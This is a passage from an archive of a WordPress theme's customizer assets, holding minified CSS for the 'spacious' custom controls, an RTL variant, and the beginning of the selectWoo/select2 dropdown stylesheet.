.3s}.customize-control-spacious-typography .customize-control-content>div{margin-bottom:15px}.customize-control-spacious-typography .customize-control-content .font-size,.customize-control-spacious-typography .customize-control-content .line-height,.customize-control-spacious-typography .customize-control-content .letter-spacing{position:relative}.customize-control-spacious-typography .customize-control-content .control-wrap{display:-webkit-box;display:-ms-flexbox;display:flex}.customize-control-spacious-typography .customize-control-content .unit{background:#ebebeb;border-radius:0 2px 2px 0;font-weight:500;line-height:34px;padding:0 12px;text-transform:uppercase}.customize-control-spacious-typography .customize-control-content .font-style,.customize-control-spacious-typography .customize-control-content .font-family,.customize-control-spacious-typography .customize-control-content .font-weight,.customize-control-spacious-typography .customize-control-content .text-transform{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-typography .customize-control-content .font-style .spacious-field-content,.customize-control-spacious-typography .customize-control-content .font-family .spacious-field-content,.customize-control-spacious-typography .customize-control-content .font-weight .spacious-field-content,.customize-control-spacious-typography .customize-control-content .text-transform .spacious-field-content{padding-top:2px;width:180px}span.select2-container.select2-container--default.select2-container--open{z-index:999999}.customize-control-spacious-title{border-bottom:1px solid #ebebeb;margin-top:15px}.customize-control-spacious-title:nth-child(2){margin-top:0}.spacious-title-wrapper{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.spacious-title-wrapper .dashicons-editor-help{color:rgba(68,68,68,0.5);margin-left:5px}.spacious-title-wrapper .dashicons-editor-help:hover{color:#444}.spacious-title-wrapper .guide-tutorial>span{border-right:1px solid #eee;padding:0 5px 0 8px}.spacious-title-wrapper .guide-tutorial>span:first-child,.spacious-title-wrapper .guide-tutorial>span:last-of-type{border-right:0;padding-right:0}.spacious-title-wrapper .guide-tutorial>span a{font-weight:500;text-decoration:none}.spacious-title-wrapper label.customizer-text{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex}.customize-control-spacious-dimensions{position:relative}.customize-control-spacious-dimensions .wrapper{border:1px solid rgba(0,0,0,0.1);padding:6px 8px}.customize-control-spacious-dimensions .wrapper .control{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-dimensions .wrapper .control .top,.customize-control-spacious-dimensions .wrapper .control .right,.customize-control-spacious-dimensions .wrapper .control .bottom,.customize-control-spacious-dimensions .wrapper .control .left{width:23%}.customize-control-spacious-dimensions .wrapper .control .top h5,.customize-control-spacious-dimensions .wrapper .control .right h5,.customize-control-spacious-dimensions .wrapper .control .bottom h5,.customize-control-spacious-dimensions .wrapper .control .left h5{margin:0;font-weight:normal}p.upgrade-description{margin-top:10px;font-style:italic}core/custom-controls/assets/css/customize-controls.min-rtl.css000066600000045561152367043330020744 0ustar00.tooltip-text{background-color:#444;border-radius:4px;bottom:125%;-webkit-box-shadow:0 10px 20px 0 rgba(68,68,68,0.2);box-shadow:0 10px 20px 0 rgba(68,68,68,0.2);color:#fff;right:4px;margin-right:calc(-120px / 2);opacity:0;padding:10px 10px;position:absolute;text-align:center;-webkit-transition:opacity .3s;transition:opacity .3s;visibility:hidden;width:120px;z-index:1}.tooltip-text::after{border-color:#444 transparent transparent transparent;border-style:solid;border-width:5px;content:"";right:50%;margin-right:-5px;position:absolute;top:100%}.customize-control-spacious-background .customize-control-content>div{margin-bottom:15px}.customize-control-spacious-buttonset .buttonset{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-buttonset .buttonset .buttonset-inner{-webkit-box-flex:1;-ms-flex:1;flex:1}.customize-control-spacious-buttonset .buttonset .buttonset-inner+.buttonset-inner{border-right:0}.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset{background:#ebebeb;-webkit-box-shadow:inset 0 0 0 1px rgba(68,68,68,0.1);box-shadow:inset 0 0 0 1px rgba(68,68,68,0.1);color:#444;display:block;padding:5px 12px;text-align:center;-webkit-transition:all .15s cubic-bezier(0.4,0,0.2,1);transition:all .15s cubic-bezier(0.4,0,0.2,1)}.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset:hover{background:#fff}.customize-control-spacious-buttonset .buttonset .buttonset-inner input{display:none}.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked+label{background:#0073aa;color:#fff}.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked+label:hover{background:#0073aa;color:#fff}.customize-control .actions{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control .actions .button{min-height:34px}.customize-control .actions .button:last-of-type{margin-left:0}.customize-control-header button.random{min-height:34px}input[type=checkbox]:checked{border-radius:2px;-webkit-box-shadow:0 0 0 1px #0073aa;box-shadow:0 0 0 1px #0073aa}input[type=radio]:checked{-webkit-box-shadow:0 0 0 1px #0073aa;box-shadow:0 0 0 1px #0073aa}input[type=range]:focus{outline:0}.customize-control-spacious-color .customizer-wrapper{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-color .customizer-wrapper .customize-control-title{display:block;margin:0 0 8px 0}.wp-picker-container .wp-color-result.button{background-color:#ebebeb !important;background-image:none !important;min-height:34px;border:1px solid #ebebeb}.wp-picker-container .wp-color-result.button::after{border:1px solid #ebebeb;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==) !important;border-radius:100%;content:"";height:22px;right:5px;position:absolute;top:5px;width:22px;z-index:0}.wp-picker-container .wp-color-result.button .wp-color-result-text{background:100%;border:0;line-height:2.15384615;padding:0 6px 0 10px}.wp-picker-container .wp-color-result.button .color-alpha{border:1px solid #ebebeb;border-radius:100% !important;height:22px !important;right:4px !important;top:4px !important;width:22px !important;z-index:1}.wp-picker-container .wp-picker-input-wrap .wp-picker-default{min-height:34px !important}.wp-picker-container .wp-picker-holder{-webkit-box-shadow:0 0 20px 0 rgba(68,68,68,0.3);box-shadow:0 0 20px 0 rgba(68,68,68,0.3)}.wp-picker-container .iris-picker{border-color:#ebebeb;margin-bottom:5px}.wp-picker-container .iris-picker .iris-alpha-slider{margin-left:-1px}.customize-control-spacious-divider{padding:0 !important}.customize-control-spacious-custom .spacious-custom-info{margin-bottom:15px}.customize-control-spacious-custom .spacious-custom-links li a{background:#0073aa;display:block;text-align:center;color:#fff;padding:8px 16px;text-decoration:none}.customize-control-spacious-divider hr{margin-top:10px;margin-bottom:10px}.customize-control-spacious-divider .divider-placement-above+.spacious-control-tooltip{top:30px}.customize-control-spacious-editor .wp-editor-tools .wp-editor-container textarea{width:100%}.customize-control-spacious-group .spacious-group-wrap>.customizer-text{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-group .spacious-group-toggle-icon{background:#ebebeb;border-radius:100px;color:rgba(68,68,68,0.6);cursor:pointer;font-size:20px;padding:5px;position:relative;left:0;top:0}.customize-control-spacious-group .spacious-group-toggle-icon:before{content:"\f464"}.customize-control-spacious-group .spacious-group-toggle-icon.open{background:#0073aa;color:#fff}.customize-control-spacious-group .spacious-group-toggle-icon.open:before{content:"\f158"}.customize-control-spacious-group .spacious-group-toggle-icon.toggle-description{left:25px}.customize-control-spacious-group .spacious-field-settings-modal{background-color:#fff;border-radius:5px;-webkit-box-shadow:0 2px 10px rgba(0,0,0,0.3);box-shadow:0 2px 10px rgba(0,0,0,0.3);right:0;position:absolute;left:0;z-index:9999}.customize-control-spacious-group .spacious-field-settings-modal:before{border:8px solid transparent;border-bottom-color:#fff;content:"";pointer-events:none;position:absolute;left:17px;top:-15px}.customize-control-spacious-group .spacious-field-settings-modal .spacious-field-settings-wrap{width:100%}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-tabs,.customize-control-spacious-group .spacious-field-settings-modal .spacious-tab-content{position:relative}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;overflow:hidden;padding:15px 15px 0 15px}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:before,.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:after{border-collapse:collapse;content:"";display:table}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li{border:1px solid rgba(0,0,0,0.1);-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;margin:0;padding:.5rem .5rem;text-align:center}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:not(:first-child){border-right-width:0}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:focus{outline-style:none}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active{background-color:#289dcc}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active a{color:#fff}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a{color:#555d66;text-decoration:none}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a:focus{-webkit-box-shadow:none;box-shadow:none}.customize-control-spacious-group .spacious-field-settings-modal .customize-control{-webkit-box-sizing:border-box;box-sizing:border-box;padding:20px 15px 0 15px}.customize-control-spacious-group .spacious-field-settings-modal .customize-control:last-child{margin-bottom:15px}.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-title{color:#444;display:block;font-size:14px;line-height:1.2;margin:0}.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-description{margin-top:10px;padding:0 12px}.tool-tip{display:inline-block;position:relative}.tool-tip:hover .tooltip-text{opacity:1;visibility:visible}#customize-theme-controls .customize-pane-child .accordion-section-content{padding:10px}.customize-control .customize-control-spacious-color{padding-bottom:0}li.customize-control.customize-control-spacious-hidden{padding:0}.customize-control-spacious-hidden.customize-control{margin-top:0}.customize-control-spacious-radio-image *{-webkit-box-sizing:border-box;box-sizing:border-box}.customize-control-spacious-radio-image input{display:none}.customize-control-spacious-radio-image input:checked+label img{background:#0073aa}.customize-control-spacious-radio-image .image{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-radio-image label{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-top:10px;margin-bottom:10px;position:relative;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.customize-control-spacious-radio-image label>img{background:#ebebeb;border:2px solid #ebebeb;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-radio-image .image-col-1:after,.customize-control-spacious-radio-image .image-col-2:after,.customize-control-spacious-radio-image .image-col-3:after,.customize-control-spacious-radio-image .image-col-4:after{clear:both;content:'';display:block}.customize-control-spacious-radio-image .image-col-1 input:checked+label img,.customize-control-spacious-radio-image .image-col-2 input:checked+label img,.customize-control-spacious-radio-image .image-col-3 input:checked+label img,.customize-control-spacious-radio-image .image-col-4 input:checked+label img{border:0;-webkit-box-shadow:none;box-shadow:none}.customize-control-spacious-radio-image .image-col-1 label{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.customize-control-spacious-radio-image .image-col-1 label>img{border:0;padding:15px 15px 0;width:70%}.customize-control-spacious-radio-image .image-col-2 label{-ms-flex-preferred-size:calc((100% / 2) - 12px);flex-basis:calc((100% / 2) - 12px)}.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(odd){margin-left:10px}.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(even){margin-right:10px}.customize-control-spacious-radio-image .image-col-2 label>img{border:0;padding:12px 12px 0;width:108px}.customize-control-spacious-radio-image .image-col-3 label{-ms-flex-preferred-size:calc((100% / 3) - 8px);flex-basis:calc((100% / 3) - 8px)}.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+1){margin-left:10px}.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+3){margin-right:10px}.customize-control-spacious-radio-image .image-col-3 label>img{border:0;padding:8px 8px 0;width:75px}.customize-control-spacious-radio-image .image-col-4 label{-ms-flex-preferred-size:25%;flex-basis:25%;padding:6px 15px;border:1px solid #ebebeb}.customize-control-spacious-radio-image .image-col-4 label:not(:nth-of-type(4n)){border-left-width:0}.customize-control-spacious-radio-image .image-col-4 label>img{border:0}.customize-control-spacious-radio-image .image-col-4 input:checked+label{background:#0073aa}.customize-control-spacious-radio-image label:hover .tooltip-text{opacity:1;visibility:visible}.customize-control-spacious-radio-image .tooltip-text{bottom:105%;right:50%}.customize-control-spacious-slider .slider-wrapper{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-slider .slider-wrapper input[type=range]{-webkit-appearance:none;-moz-appearance:none;appearance:none;background:rgba(0,0,0,0.1);cursor:pointer;-webkit-box-flex:1;-ms-flex:1;flex:1;height:5px;padding:0;-webkit-transition:background .3s;transition:background .3s}.customize-control-spacious-slider .slider-wrapper input[type=range]::-webkit-slider-thumb{-webkit-appearance:none;appearance:none;background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper input[type=range]::-moz-range-thumb{background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper input[type=range]::-ms-thumb{background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper .spacious-range-value{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;padding:0 5px 0 0}.customize-control-spacious-slider .slider-wrapper .spacious-range-value input[type=number]{font-size:12px;padding:3px;width:60px}.customize-control-spacious-slider .slider-wrapper .spacious-range-value .spacious-range-unit{padding:0 5px 0 0}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset{color:rgba(0,0,0,0.3);cursor:pointer;-webkit-transition:color .3s ease-in;transition:color .3s ease-in}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset span{font-size:14px}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:hover,.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:focus{color:#289dcc}.customize-control-spacious-slider .slider-wrapper.slider-description .spacious-slider-reset span{left:20px}.customize-control-spacious-sortable ul.ui-sortable{cursor:default}.customize-control-spacious-sortable ul.ui-sortable .dashicons-visibility{cursor:pointer}.customize-control-spacious-sortable ul.ui-sortable li{padding:5px 10px;border:1px solid #555;background:#fff;cursor:move}.customize-control-spacious-sortable ul.ui-sortable li .dashicons.dashicons-menu{float:left}.customize-control-spacious-sortable ul.ui-sortable li .dashicons.visibility{margin-left:10px}.customize-control-spacious-sortable ul.ui-sortable li.invisible{color:#aaa;border:1px dashed #aaa}.customize-control-spacious-sortable ul.ui-sortable li.invisible .dashicons.visibility{color:#aaa}.customize-control-spacious-toggle{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-toggle label{position:relative;display:inline-block;width:30px;height:16px;left:0;top:4px}.customize-control-spacious-toggle label.toggle-description{left:20px}.customize-control-spacious-toggle label input{display:none}.customize-control-spacious-toggle label input:checked+.switch:before{background:#fff;border-color:#fff;right:-6px;-webkit-transform:translateX(-20px);transform:translateX(-20px)}.customize-control-spacious-toggle label input:checked+.switch{background-color:#0073aa;border-color:#0073aa}.customize-control-spacious-toggle label .switch{position:absolute;cursor:pointer;top:0;right:0;left:0;bottom:0;background:#fff;border:2px solid #444;border-radius:100px;-webkit-transition:all ease .3s;transition:all ease .3s}.customize-control-spacious-toggle label .switch:before{position:absolute;content:'';height:6px;width:6px;right:3px;bottom:1px;border:2px solid #444;background:#444;border-radius:100%;-webkit-transition:all ease .3s;transition:all ease .3s}.customize-control-spacious-typography .customize-control-content>div{margin-bottom:15px}.customize-control-spacious-typography .customize-control-content .font-size,.customize-control-spacious-typography .customize-control-content .line-height,.customize-control-spacious-typography .customize-control-content .letter-spacing{position:relative}.customize-control-spacious-typography .customize-control-content .control-wrap{display:-webkit-box;display:-ms-flexbox;display:flex}.customize-control-spacious-typography .customize-control-content .unit{background:#ebebeb;border-radius:2px 0 0 2px;font-weight:500;line-height:34px;padding:0 12px;text-transform:uppercase}.customize-control-spacious-typography .customize-control-content .font-style,.customize-control-spacious-typography .customize-control-content .font-family,.customize-control-spacious-typography .customize-control-content .font-weight,.customize-control-spacious-typography .customize-control-content .text-transform{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-typography .customize-control-content .font-style .spacious-field-content,.customize-control-spacious-typography .customize-control-content .font-family .spacious-field-content,.customize-control-spacious-typography .customize-control-content .font-weight .spacious-field-content,.customize-control-spacious-typography .customize-control-content .text-transform .spacious-field-content{padding-top:2px;width:180px}span.select2-container.select2-container--default.select2-container--open{z-index:999999}.customize-control-spacious-title{border-bottom:1px solid #ebebeb;margin-top:15px}.customize-control-spacious-title:nth-child(2){margin-top:0}.spacious-title-wrapper{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.spacious-title-wrapper .dashicons-editor-help{color:rgba(68,68,68,0.5);margin-right:5px}.spacious-title-wrapper .dashicons-editor-help:hover{color:#444}.spacious-title-wrapper .guide-tutorial>span{border-left:1px solid #eee;padding:0 8px 0 5px}.spacious-title-wrapper .guide-tutorial>span:first-child,.spacious-title-wrapper .guide-tutorial>span:last-of-type{border-left:0;padding-left:0}.spacious-title-wrapper .guide-tutorial>span a{font-weight:500;text-decoration:none}.spacious-title-wrapper label.customizer-text{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex}.customize-control-spacious-dimensions{position:relative}.customize-control-spacious-dimensions .wrapper{border:1px solid rgba(0,0,0,0.1);padding:6px 8px}.customize-control-spacious-dimensions .wrapper .control{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-dimensions .wrapper .control .top,.customize-control-spacious-dimensions .wrapper .control .right,.customize-control-spacious-dimensions .wrapper .control .bottom,.customize-control-spacious-dimensions .wrapper .control .left{width:23%}.customize-control-spacious-dimensions .wrapper .control .top h5,.customize-control-spacious-dimensions .wrapper .control .right h5,.customize-control-spacious-dimensions .wrapper .control .bottom h5,.customize-control-spacious-dimensions .wrapper .control .left h5{margin:0;font-weight:normal}p.upgrade-description{margin-top:10px;font-style:italic}core/custom-controls/assets/css/selectWoo.css000066600000042304152367043330015434 0ustar00.select2-container {
  box-sizing: border-box;
  display: inline-block;
  margin: 0;
  position: relative;
  vertical-align: middle; }
  .select2-container .select2-selection--single {
    box-sizing: border-box;
    cursor: pointer;
    display: block;
    height: 28px;
    user-select: none;
    -webkit-user-select: none; }
    .select2-container .select2-selection--single .select2-selection__rendered {
      display: block;
      padding-left: 8px;
      padding-right: 20px;
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap; }
    .select2-container .select2-selection--single .select2-selection__clear {
      position: relative; }
  .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered {
    padding-right: 8px;
    padding-left: 20px; }
  .select2-container .select2-selection--multiple {
    box-sizing: border-box;
    cursor: pointer;
    display: block;
    min-height: 32px;
    user-select: none;
    -webkit-user-select: none; }
    .select2-container .select2-selection--multiple .select2-selection__rendered {
      display: inline-block;
      overflow: hidden;
      padding-left: 8px;
      text-overflow: ellipsis;
      white-space: nowrap; }
  .select2-container .select2-search--inline {
    float: left; }
    .select2-container .select2-search--inline .select2-search__field {
      box-sizing: border-box;
      border: none;
      font-size: 100%;
      margin-top: 5px;
      padding: 0; }
      .select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button {
        -webkit-appearance: none; }

.select2-dropdown {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  box-sizing: border-box;
  display: block;
  position: absolute;
  left: -100000px;
  width: 100%;
  z-index: 1051; }

.select2-results {
  display: block; }

.select2-results__options {
  list-style: none;
  margin: 0;
  padding: 0; }

.select2-results__option {
  padding: 6px;
  user-select: none;
  -webkit-user-select: none; }
  .select2-results__option[data-selected] {
    cursor: pointer; }

.select2-container--open .select2-dropdown {
  left: 0; }

.select2-container--open .select2-dropdown--above {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--open .select2-dropdown--below {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-search--dropdown {
  display: block;
  padding: 4px; }
  .select2-search--dropdown .select2-search__field {
    padding: 4px;
    width: 100%;
    box-sizing: border-box; }
    .select2-search--dropdown .select2-search__field::-webkit-search-cancel-button {
      -webkit-appearance: none; }
  .select2-search--dropdown.select2-search--hide {
    display: none; }

.select2-close-mask {
  border: 0;
  margin: 0;
  padding: 0;
  display: block;
  position: fixed;
  left: 0;
  top: 0;
  min-height: 100%;
  min-width: 100%;
  height: auto;
  width: auto;
  opacity: 0;
  z-index: 99;
  background-color: #fff;
  filter: alpha(opacity=0); }

.select2-hidden-accessible {
  border: 0 !important;
  clip: rect(0 0 0 0) !important;
  height: 1px !important;
  margin: -1px !important;
  overflow: hidden !important;
  padding: 0 !important;
  position: absolute !important;
  width: 1px !important; }

.select2-container--default .select2-selection--single {
  background-color: #fff;
  border: 1px solid #aaa;
  border-radius: 4px; }
  .select2-container--default .select2-selection--single .select2-selection__rendered {
    color: #444;
    line-height: 28px; }
  .select2-container--default .select2-selection--single .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold; }
  .select2-container--default .select2-selection--single .select2-selection__placeholder {
    color: #999; }
  .select2-container--default .select2-selection--single .select2-selection__arrow {
    height: 26px;
    position: absolute;
    top: 1px;
    right: 1px;
    width: 20px; }
    .select2-container--default .select2-selection--single .select2-selection__arrow b {
      border-color: #888 transparent transparent transparent;
      border-style: solid;
      border-width: 5px 4px 0 4px;
      height: 0;
      left: 50%;
      margin-left: -4px;
      margin-top: -2px;
      position: absolute;
      top: 50%;
      width: 0; }

.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear {
  float: left; }

.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow {
  left: 1px;
  right: auto; }

.select2-container--default.select2-container--disabled .select2-selection--single {
  background-color: #eee;
  cursor: default; }
  .select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear {
    display: none; }

.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b {
  border-color: transparent transparent #888 transparent;
  border-width: 0 4px 5px 4px; }

.select2-container--default .select2-selection--multiple {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  cursor: text; }
  .select2-container--default .select2-selection--multiple .select2-selection__rendered {
    box-sizing: border-box;
    list-style: none;
    margin: 0;
    padding: 0 5px;
    width: 100%; }
    .select2-container--default .select2-selection--multiple .select2-selection__rendered li {
      list-style: none; }
  .select2-container--default .select2-selection--multiple .select2-selection__placeholder {
    color: #999;
    margin-top: 5px;
    float: left; }
  .select2-container--default .select2-selection--multiple .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
    margin-top: 5px;
    margin-right: 10px; }
  .select2-container--default .select2-selection--multiple .select2-selection__choice {
    background-color: #e4e4e4;
    border: 1px solid #aaa;
    border-radius: 4px;
    cursor: default;
    float: left;
    margin-right: 5px;
    margin-top: 5px;
    padding: 0 5px; }
  .select2-container--default .select2-selection--multiple .select2-selection__choice__remove {
    color: #999;
    cursor: pointer;
    display: inline-block;
    font-weight: bold;
    margin-right: 2px; }
    .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover {
      color: #333; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline {
  float: right; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  margin-left: 5px;
  margin-right: auto; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove {
  margin-left: 2px;
  margin-right: auto; }

.select2-container--default.select2-container--focus .select2-selection--multiple {
  border: solid black 1px;
  outline: 0; }

.select2-container--default.select2-container--disabled .select2-selection--multiple {
  background-color: #eee;
  cursor: default; }

.select2-container--default.select2-container--disabled .select2-selection__choice__remove {
  display: none; }

.select2-container--default.select2-container--open.select2-container--above .select2-selection--single, .select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple {
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--default .select2-search--dropdown .select2-search__field {
  border: 1px solid #aaa; }

.select2-container--default .select2-search--inline .select2-search__field {
  background: transparent;
  border: none;
  outline: 0;
  box-shadow: none;
  -webkit-appearance: textfield; }

.select2-container--default .select2-results > .select2-results__options {
  max-height: 200px;
  overflow-y: auto; }

.select2-container--default .select2-results__option[role=group] {
  padding: 0; }

.select2-container--default .select2-results__option[aria-disabled=true] {
  color: #999; }

.select2-container--default .select2-results__option[data-selected=true] {
  background-color: #ddd; }

.select2-container--default .select2-results__option .select2-results__option {
  padding-left: 1em; }
  .select2-container--default .select2-results__option .select2-results__option .select2-results__group {
    padding-left: 0; }
  .select2-container--default .select2-results__option .select2-results__option .select2-results__option {
    margin-left: -1em;
    padding-left: 2em; }
    .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
      margin-left: -2em;
      padding-left: 3em; }
      .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
        margin-left: -3em;
        padding-left: 4em; }
        .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
          margin-left: -4em;
          padding-left: 5em; }
          .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
            margin-left: -5em;
            padding-left: 6em; }

.select2-container--default .select2-results__option--highlighted[data-selected] {
  background-color: #5897fb;
  color: white; }

.select2-container--default .select2-results__group {
  cursor: default;
  display: block;
  padding: 6px; }

.select2-container--classic .select2-selection--single {
  background-color: #f7f7f7;
  border: 1px solid #aaa;
  border-radius: 4px;
  outline: 0;
  background-image: -webkit-linear-gradient(top, white 50%, #eeeeee 100%);
  background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%);
  background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); }
  .select2-container--classic .select2-selection--single:focus {
    border: 1px solid #5897fb; }
  .select2-container--classic .select2-selection--single .select2-selection__rendered {
    color: #444;
    line-height: 28px; }
  .select2-container--classic .select2-selection--single .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
    margin-right: 10px; }
  .select2-container--classic .select2-selection--single .select2-selection__placeholder {
    color: #999; }
  .select2-container--classic .select2-selection--single .select2-selection__arrow {
    background-color: #ddd;
    border: none;
    border-left: 1px solid #aaa;
    border-top-right-radius: 4px;
    border-bottom-right-radius: 4px;
    height: 26px;
    position: absolute;
    top: 1px;
    right: 1px;
    width: 20px;
    background-image: -webkit-linear-gradient(top, #eeeeee 50%, #cccccc 100%);
    background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%);
    background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%);
    background-repeat: repeat-x;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0); }
    .select2-container--classic .select2-selection--single .select2-selection__arrow b {
      border-color: #888 transparent transparent transparent;
      border-style: solid;
      border-width: 5px 4px 0 4px;
      height: 0;
      left: 50%;
      margin-left: -4px;
      margin-top: -2px;
      position: absolute;
      top: 50%;
      width: 0; }

.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear {
  float: left; }

.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow {
  border: none;
  border-right: 1px solid #aaa;
  border-radius: 0;
  border-top-left-radius: 4px;
  border-bottom-left-radius: 4px;
  left: 1px;
  right: auto; }

.select2-container--classic.select2-container--open .select2-selection--single {
